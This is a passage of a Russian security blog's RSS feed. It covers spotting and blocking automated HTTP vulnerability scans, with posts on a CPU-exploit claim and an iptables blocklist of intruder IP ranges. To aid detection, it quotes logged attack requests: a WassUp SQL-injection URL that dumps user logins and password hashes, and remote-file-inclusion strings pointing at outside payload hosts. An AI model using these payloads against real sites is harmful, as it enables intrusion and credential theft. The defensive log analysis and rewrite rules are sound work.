<span class="kw1">echo</span> <span class="st0">&quot;ryey ONLINE&lt;br&gt;&quot;</span><span class="sy0">;</span><br />
<span class="kw1">exit</span><span class="sy0">;</span><br />
<span class="sy1">?&gt;</span>
        </div>
    </div>
</div>

<p>Если скопировать этот файл на локальный компьютер и выполнить его, получится что-то вроде этого:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36123">
        <div class="code output" id="p361code23">
ryey<br />
os: Linux<br />
uname -a: Linux SJINKS 2.6.27-8-server #1 SMP Thu Nov 6 18:18:16 UTC 2008 x86_64<br />
uptime: &nbsp;04:44:54 up 13:51, &nbsp;3 users, &nbsp;load average: 0.37, 0.26, 0.20<br />
id: uid=1000(...) gid=1000(...) группы=4(adm),8(mail),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),...<br />
pwd: /home/test<br />
user: <br />
phpv: 5.2.6-2ubuntu4<br />
SoftWare: <br />
ServerName: <br />
ServerAddr: <br />
ryey ONLINE
        </div>
    </div>
</div>

<p>Я запускал скрипт из командной строки, поэтому он не смог определить параметры, относящиеся к HTTP-серверу.</p>
<p>Итак, что же даёт атакующему эта, казалось бы, безобидная информация? Информацию. О том, какая версия ядра установлена, какая версия Apache и <a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">PHP</a>, uptime системы (помогает в случае обхода time based authentication, но это детали), адрес сервера. Зная подобную информацию, можно поискать эксплоит под конкретную версию программного обеспечения.</p>
<p>Даже если скрипт не выполнится, атакующий всё равно может получить некоторую информацию о системе. Например, CMS Typo3 <a href="http://bugs.typo3.org/view.php?id=9604&#038;nbn=8" rel="nofollow">частично подвержена</a> данной уязвимости:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36124">
        <div class="code output" id="p361code24">
PHP Warning: parse_url(/?_zb_path=http://xxxx.com/bbs/data/vip/id2.txt???) [function.parse-url]: Unable to parse URL in /var/www/domain.ext/typo3conf/ext/realurl/class.tx_realurl.php on line 836
        </div>
    </div>
</div>

<p>Атакующий получает возможность узнать, какое ПО стоит (в нашем случае это Typo3) и полный путь к ней (на многих хостингах этот путь включает имя пользователя).</p>
<p>Если же скрипт выполнится, это означает, что всё очень плохо: если смог выполниться простой безобидный скрипт, может выполниться и какой-нибудь шелл.  Если у Вас выделенный сервер, он сможет пополнить ряды очередного ботнета.</p>
<p>Сканирование может быть не таким явным: например,</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36125">
        <div class="code output" id="p361code25">
&quot;GET /_vti_bin/owssvr.dll?UL=1&amp;ACT=4&amp;BUILD=6254&amp;STRMVER=4&amp;CAPREQ=0 HTTP/1.1&quot;<br />
&quot;GET /MSOffice/cltreq.asp?UL=1&amp;ACT=4&amp;BUILD=6254&amp;STRMVER=4&amp;CAPREQ=0 HTTP/1.1&quot;
        </div>
    </div>
</div>

<p>Так как я <em>знаю</em>, что у меня на сервере подобных файлов нет и быть не могло, я понимаю, что здесь что-то нечисто: ovsswr.dll&nbsp;&mdash;&nbsp;это Microsoft SharePoint Team Services; на подобный скан есть две точки зрения:</p>
<ol>
<li>
<blockquote>It is an attempt to gain admin rights (hack).</blockquote>
</li>
<li>
<blockquote>You're being visited by a user who has installed Microsoft Office and Internet Explorer, and who has enabled the "Discuss" toolbar in his browser. When that toolbar is enabled, the browser will automatically query for these two files when visiting each site, to determine whether the Office Server Extensions are installed.
<p>If you are on a Windows server, you can install Office Server Extensions (available in Office 2000) and then the /MSOffice/cltreq.asp path will contain a valid file, allowing visitors to discuss content. Wouldn't that be neat?</p></blockquote>
</li>
</ol>
<p>У каждого свой уровень паранойи (<q>my paranoia is probably worse</q>), так что смотрите сами.</p>
<p>Идём дальше. Зачастую хакеры (или скрипт-киддисы) сканируют сайты на наличие известных дыр, таких как SQL injection. Например, запрос</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36126">
        <div class="code output" id="p361code26">
/wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,concat(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users\r
        </div>
    </div>
</div>

<p>пытается использовать уязвимость плагина <a href="http://blog.sjinks.pro/?s=Wassup">WassUp</a>; в случае успеха он выдаст атакующему логины и хэш паролей пользователей.</p>
<p>Частыми гостями в логе <a href="http://blog.sjinks.pro/?s=nginx">nginx</a> являются запросы вида</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36127">
        <div class="code apache_log" id="p361code27">
208.205.78.151 - - [20/Sep/2008:11:56:51 +0300] &quot;GET http://www.intel.com/ HTTP/1.1&quot; 403 529 &quot;-&quot; &quot;Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)&quot;
        </div>
    </div>
</div>

<p>Запросы рассчитаны на ошибки в реализациях прокси-серверов.</p>
<p>Теперь переходим к вопросам анализа и противодействия.</p>
<p>Если Ваша хостинговая компания предоставляет вам доступ к логам Апача, Вы можете попытаться обнаружить попытки сканирования самостоятельно: для этого Вам надо найти все запросы, на которые сервер вернул код ошибки 404:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36128">
        <div class="code bash" id="p361code28">
<span class="kw2">grep</span> <span class="re5">-E</span> <span class="st_h">'HTTP/1\.[01]&quot; 404 '</span> apache-log.txt <span class="sy0">&gt;</span> 404.txt
        </div>
    </div>
</div>

<p>Если на сайте есть битые ссылки, то в логе будет много мусора. Его можно отфильтровать при помощи <span class="codebox"><code class="bash"><span class="kw2">grep</span> <span class="re5">-v</span></code></span>, я не буду на этом подробно останавливаться.</p>
<p>Для определения IP-адресов и количества полученных ответов 404 можно воспользоваться такой командой:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36129">
        <div class="code bash" id="p361code29">
<span class="kw2">cat</span> 404.txt <span class="sy0">|</span> <span class="kw2">awk</span> <span class="st_h">'{ print $1 }'</span> <span class="sy0">|</span> <span class="kw2">sort</span> <span class="sy0">|</span> <span class="kw2">uniq</span> <span class="re5">-c</span> <span class="sy0">|</span> <span class="kw2">sort</span> <span class="re5">-n</span>
        </div>
    </div>
</div>

<p>Если на IP-адрес приходится небольшое число ответов 404, такие адреса можно, скорее всего игнорировать. Допустим, если нам интересны только IP-адреса, сгенерировавшие не менее ста ответов 404, нам поможет такая команда (Linux rules, однозначно):</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36130">
        <div class="code bash" id="p361code30">
<span class="kw2">cat</span> 404.txt <span class="sy0">|</span> <span class="kw2">awk</span> <span class="st_h">'{ print $1 }'</span> <span class="sy0">|</span> <span class="kw2">sort</span> <span class="sy0">|</span> <span class="kw2">uniq</span> <span class="re5">-c</span> <span class="sy0">|</span> <span class="kw2">sort</span> <span class="re5">-n</span> <span class="sy0">|</span> <span class="kw2">awk</span> <span class="st_h">'{ if ($1 &gt; 100) { system(&quot;cat 404.txt | grep &quot; $2 &quot; &gt;&gt; filtered.txt&quot;); } }'</span>
        </div>
    </div>
</div>

<p>Файл <code>filtered.txt</code> будет содержать интересующие нас запросы.</p>
<p>Проанализировав <em>свой</em> файл, я пришел к следующим результатам:</p>
<ul>
<li>практически все запросы (query string), ориентированные на попытку выполнения удалённого (remote) скрипта, содержат в себе как минимум один лишний знак вопроса, например:
<pre class="code">
//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt<strong style="color: red">?</strong>
/sub.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a>?sub=http://61.19.234.26/test.txt<strong style="color: red">???</strong>
/admin.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a>?include_path=http://zionuccarendtsville.org/plugins/spamx/language/COPYRIGHT.txt<strong style="color: red">??</strong>
</pre>
Первый знак вопроса означает начало строки запроса, а вот последний знак вопроса по всем правилам должен записываться как <code>%3F</code>. Я не знаю, зачем люди так сделали, но это отличная сигнатура для поиска;</li>
<li>запросы, ищущие уязвимости в реализации прокси, имеют вид <code>GET http://...</code> или <code>GET /http://...</code>. Тоже достаточно просто отловить.</li>
<li>из-за какого-то бага в реализации сканера, во многих запросах встречается удвоенный (а иногда даже утроенный) слэш:
<pre class="code">
203.177.42.133 - - [22/Jul/2008:10:21:16 +0300] "GET /sitemap.xml<strong style="color: red">///</strong>safehtml/safehtml.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a>?dir[plugins]=http://www.brazebo.it/echo.txt???? HTTP/1.1"
86.109.96.134 - - [02/Aug/2008:23:53:53 +0300] "GET /sitemap.xml<strong style="color: red">//</strong>wp-pass.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a>?_wp_http_referer=http://www.sv-haslach.com/modules/.../sistem.txt??? HTTP/1.1"
</pre>
Удвоенный еще куда ни шло, но утроенный&nbsp;&mdash;&nbsp;это перебор;</li>
<li>у 85% процентов сканеров User-Agent установлен в libwww-perl (ибо <a href="http://blog.sjinks.pro/uncategorized/298-power-and-beauty-of-perl/">Perl&nbsp;&mdash;&nbsp;истинно хакерский язык</a>);</li>
<li>сканеры, использующие уязвимости для обходафайловой системы, имеют в теле запроса сигнатуры <code>../</code> (Linux/Windows) и/или <code>..\</code> (Windows). Тоже легко ловится;</li>
<li>как правило, большинство сканеров начинают обход с корня сайта: поиск уязвимостей производится методом проб и ошибок: вернул сервер 404? Ладно, пробуем следующий файл. Если же сервер для корня возвращает 403 Forbidden, сканеры обычно прекращают попытки (исключение составляют те сканеры, которые предварительно обходят весь сайт).</li>
</ul>
<p>Проблема заключается в том, что если сканер начал искать уязвимости, то рано или позно он их <em>может</em> найти. А это именно то, что мы хотим избежать.</p>
<p>А теперь, собственно, решение. Открываем файл .htaccess и добавляем в него строки (желательно в самое начало):</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36131">
        <div class="code apache" id="p361code31">
&lt;<span class="kw3">IfModule</span> mod_rewrite.c&gt;<br />
<span class="kw1">RewriteEngine</span> <span class="kw2">On</span><br />
<br />
<span class="kw1">RewriteCond</span> %{QUERY_STRING} [^?]*\? [OR]<br />
<span class="kw1">RewriteCond</span> %{QUERY_STRING} (\.\./|\.\.\\) [OR]<br />
<span class="kw1">RewriteCond</span> %{QUERY_STRING} (///) [OR]<br />
<span class="kw1">RewriteCond</span> %{THE_REQUEST} <span class="st0">&quot;^(GET|POST) /?https?:&quot;</span><br />
<span class="kw1">RewriteRule</span> (.*) $1 [F]<br />
&lt;/<span class="kw3">IfModule</span>&gt;
        </div>
    </div>
</div>

<p>Первый <span class="codebox"><code class="apache"><span class="kw1">RewriteCond</span></code></span> рассчитан на ботов, которые используют слишком много знаков вопроса, второй&nbsp;&mdash;&nbsp;на тех, кто пытается сделать обход файловой системы, третий&nbsp;&mdash;&nbsp;на тех, кто перебарщивает со слэшами и четвёртый&nbsp;&mdash;&nbsp;на тех, кто пытается найти уязвимый прокси.</p>
<p>Данное решение не является панацеей, но, тем не менее, довольно действенное.</p>
<p>Есть одно очень радикальное средство: запретить доступ всем <code>libwww-perl</code>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36132">
        <div class="code apache" id="p361code32">
<span class="kw1">SetEnvIf</span> User-Agent <span class="st0">&quot;^libwww-perl&quot;</span> badua<br />
<span class="kw1">Order</span> <span class="kw1">Allow</span>,<span class="kw1">Deny</span><br />
<span class="kw1">Allow</span> from <span class="kw2">all</span><br />
<span class="kw1">Deny</span> from env=badua
        </div>
    </div>
</div>

<p><strong>Update:</strong> <a href="http://perishablepress.com/press/2009/02/03/eight-ways-to-blacklist-with-apaches-mod_rewrite/">весьма полезная статья</a>, о том, как блокировать нежелательных посетителей при помощи mod_rewrite.</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/" title="Водка с феназепамом? Или всё-таки правда? (Июль 16, 2008)">Водка с феназепамом? Или всё-таки правда?</a> (21)</li>
	<li><a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/" title="Безопасность, о которой все так много говорят… (Март 11, 2008)">Безопасность, о которой все так много говорят…</a> (12)</li>
	<li><a href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/" title="Уязвимость в форуме SMF (Май 23, 2009)">Уязвимость в форуме SMF</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (Апрель 10, 2008)">Уязвимости oDesk</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/php/667-simple-dos-for-php/" title="Простой DoS для PHP (Октябрь 19, 2009)">Простой DoS для PHP</a> (3)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>Водка с феназепамом? Или всё-таки правда?</title>
		<link>http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/</link>
		<comments>http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/#comments</comments>
		<pubDate>Wed, 16 Jul 2008 18:55:54 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[intel]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[ошибка]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=233</guid>
		<description><![CDATA[Прав ли Крис Касперски? Наткнулся сегодня на очень интересную статью: Российский хакер, известный как Крис Касперски, обнаружил уязвимость в процессорах Intel, которая позволяет совершить удаленный взлом системы при помощи скрипта на JavaScript или TCP/IP-пакета вне зависимости от операционной системы. Об этом пишет PC World со ссылкой на краткое описание презентации, подготовленной Касперски. Хакер намерен в [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Прав ли Крис Касперски?</em></h2>
<p>Наткнулся сегодня на очень интересную <a href="http://lenta.ru/news/2008/07/15/kris/" rel="nofollow">статью</a>:</p>
<blockquote cite="http://lenta.ru/news/2008/07/15/kris/">
Российский хакер, известный как Крис Касперски, обнаружил уязвимость в процессорах Intel, которая позволяет совершить удаленный взлом системы при помощи скрипта на JavaScript или TCP/IP-пакета вне зависимости от операционной системы. Об этом пишет PC World со ссылкой на краткое описание презентации, подготовленной Касперски.
<p>Хакер намерен в октябре продемонстрировать свою методику на конференции Hack In The Box в малайзийском Куала-Лумпуре. Касперски заявил, что намерен показать работающий код и сделать его общедоступным. Он добавил, что ошибки в микропроцессорах становятся все более серьезной угрозой, так как уже пишутся использующие их зловредные программы.</p>
<p>По словам хакера, некоторые ошибки процессоров позволяют просто обрушить систему, другие помогают злоумышленнику получить доступ на уровне ядра ОС, а использование третьих отключает защиту Vista.</p>
<p>Крис Касперски продемонстрирует свою методику взлома на компьютерах с Windows XP, Vista, Windows Server 2003, Windows Server 2008, ОС на базе ядра Linux и BSD. Возможно, также добавится Mac. На все эти системы будут установлены последние обновления.
</p></blockquote>
<p>Всё же интересно: правда ли это? Или доблестные щелкопёры всё приукрасили?</p>
<p>В <a href="http://conference.hackinthebox.org/hitbsecconf2008kl/?page_id=214" rel="nofollow">оригинале статьи</a> сказано:</p>
<blockquote cite="http://conference.hackinthebox.org/hitbsecconf2008kl/?page_id=214">In this presentation, I will share with the participants the finding of my CPU malware detection research which was funded by Endeavor Security. I will also present to the participants my improved POC code and will show participants how it’s possible to make an attack via JavaScript code or just TCP/IP packets storms against Intel based machine. Some of the bugs that will be shown are exploitable via common instruction sequences and by knowing the mechanics behind certain JIT Java-compilers, attackers can force the compiler to do what they want (for example: short nested loops lead to system crashes on many CPUs). I will also share with the participants my experience in data recovery and how CPU bugs have actually contributed in damaging our hard drives without our knowledge.</blockquote>
<p>И я вот не могу отделаться от подозрения, что всё это розыгрыш: начать уж с того, что Java != JavaScript, и не факт, что любой движок для JavaScript будет компилировать JavaScript в родной код процессора. И я не уверен, что процессор может напрямую повредить жесткий диск (разве что он будет скармливать контроллеру соответствующие команды). Обработкой TCP/IP-пакетов процессор напрямую вообще не занимается (если только я что-то не пропустил).</p>
<p>Очень подозреваю, что выяснится десяток жутко специальных требований, необходимых для успешной реализации данной уязвимости.</p>
<p>Но всё-таки, вдруг это не самореклама и Крис прав?</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/php/667-simple-dos-for-php/" title="Простой DoS для PHP (Октябрь 19, 2009)">Простой DoS для PHP</a> (3)</li>
	<li><a href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/" title="Минимизируем неприятные последствия HTTP-сканирования (Ноябрь 19, 2008)">Минимизируем неприятные последствия HTTP-сканирования</a> (24)</li>
	<li><a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/" title="Безопасность, о которой все так много говорят… (Март 11, 2008)">Безопасность, о которой все так много говорят…</a> (12)</li>
	<li><a href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/" title="Уязвимость в форуме SMF (Май 23, 2009)">Уязвимость в форуме SMF</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (Апрель 10, 2008)">Уязвимости oDesk</a> (2)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Список адресов, с которых осуществляются попытки вторжения в систему</title>
		<link>http://blog.sjinks.pro/security/127-list-of-ip-addresses-of-intruders/</link>
		<comments>http://blog.sjinks.pro/security/127-list-of-ip-addresses-of-intruders/#comments</comments>
		<pubDate>Mon, 05 May 2008 10:19:20 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Администрирование]]></category>
		<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[вторжение]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=127</guid>
		<description><![CDATA[Список взломщиков, полученный на основе анализа журнала безопасности Анализируя журнал безопасности системы, я добавляю в iptables правила, блокирующие доступ с адресов, с которых замечены попытки вторжения. В большинстве случаев в черный список попадают товарищи, пытающиеся залезть в систему по SSH; иногда я добавляю злостных хакеров, пытающихся устроить DoS или проводящих SQL injection/сканирование на наличие уязвимостей [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/127-list-of-ip-addresses-of-intruders/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Список взломщиков, полученный на основе анализа журнала безопасности</em></h2>
<p>Анализируя журнал безопасности системы, я добавляю в <code>iptables</code> правила, блокирующие доступ с адресов, с которых замечены попытки вторжения. В большинстве случаев в черный список попадают товарищи, пытающиеся залезть в систему по SSH; иногда я добавляю злостных хакеров, пытающихся устроить <abbr title="Denial of Service">DoS</abbr> или проводящих SQL injection/сканирование на наличие уязвимостей (поиск таких вот товарищей приходится осуществлять вручную, ибо их методы очень различны, и автоматический анализатор, дающий хотя бы 85% гарантию обнаружения, я пока еще не написал).</p>
<p>В надежде, что этот список (оформленный в виде правил для <code>iptables</code>) окажется кому-нибудь полезным (он будет периодически обновляться), выкладываю его в общее пользование.<span id="more-127"></span></p>
          
<div class="codebox">
    <div class="the_code" style="" id="p12734">
        <div class="code bash" id="p127code34">
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 88.191.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 195.146.32.0<span class="sy0">/</span>24 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 211.20.47.0<span class="sy0">/</span>24 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.32.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.33.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.34.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.35.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.36.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.37.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.38.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.39.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.40.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.41.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.42.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.43.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 222.240.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 203.189.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 211.101.34.0<span class="sy0">/</span>24 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 220.90.217.0<span class="sy0">/</span>24 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.163.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 203.128.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 202.202.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 219.94.128.0<span class="sy0">/</span>17 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 221.236.0.0<span class="sy0">/</span>15 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 193.239.64.0<span class="sy0">/</span>24 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 210.12.0.0<span class="sy0">/</span>14 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 211.170.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 194.242.233.0<span class="sy0">/</span>24 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 59.108.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 202.45.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 77.249.197.0<span class="sy0">/</span>24 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 211.236.180.0<span class="sy0">/</span>25 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 211.60.155.0<span class="sy0">/</span>24 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 218.9.0.0<span class="sy0">/</span>16 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 131.173.161.0<span class="sy0">/</span>24 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 82.196.86.2 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 218.210.0.0<span class="sy0">/</span>15 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 61.164.68.128<span class="sy0">/</span>29 <span class="re5">-j</span> DROP<br />
iptables <span class="re5">-I</span> INPUT <span class="re5">-s</span> 65.36.177.0<span class="sy0">/</span>24 <span class="re5">-j</span> DROP
        </div>
    </div>
</div>

<p>Политика здесь такая: если атака идет из Китая/Кореи/Японии/Пакистана, блокируется весь диапазон адресов, принадлежащий атакующему (диапазон получается через <code>whois</code>). В зависимости от "тяжести" (метода сканирования, количества попыток, наглости и&nbsp;т.п.) диапазон может сужаться или расширяться (особенно, если организация&nbsp;&mdash;&nbsp;университет).</p>
<p>Надеюсь, кому-нибудь списочек пригодится&hellip;</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/127-list-of-ip-addresses-of-intruders/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/717-say-no-to-intruder-part-2/" title="Скажи «Нет!» взломщику: часть 2 (Декабрь 8, 2009)">Скажи «Нет!» взломщику: часть 2</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/194-say-no-to-intruder/" title="Скажи «Нет!» взломщику (Июнь 14, 2008)">Скажи «Нет!» взломщику</a> (15)</li>
	<li><a href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/" title="Минимизируем неприятные последствия HTTP-сканирования (Ноябрь 19, 2008)">Минимизируем неприятные последствия HTTP-сканирования</a> (24)</li>
	<li><a href="http://blog.sjinks.pro/linux/811-prot-range-sport-dport-iptables-multiport/" title="Как правильно использовать диапазон портов в &#8211;sport и &#8211;dport в iptables с использованием multiport (Август 31, 2010)">Как правильно использовать диапазон портов в &#8211;sport и &#8211;dport в iptables с использованием multiport</a> (0)</li>
	<li><a href="http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/" title="Водка с феназепамом? Или всё-таки правда? (Июль 16, 2008)">Водка с феназепамом? Или всё-таки правда?</a> (21)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/127-list-of-ip-addresses-of-intruders/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Безопасность, о которой все так много говорят…</title>
		<link>http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/</link>
		<comments>http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/#comments</comments>
		<pubDate>Tue, 11 Mar 2008 03:10:56 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[mime-type]]></category>
		<category><![CDATA[SQL-инъекция]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[спуфинг]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/</guid>
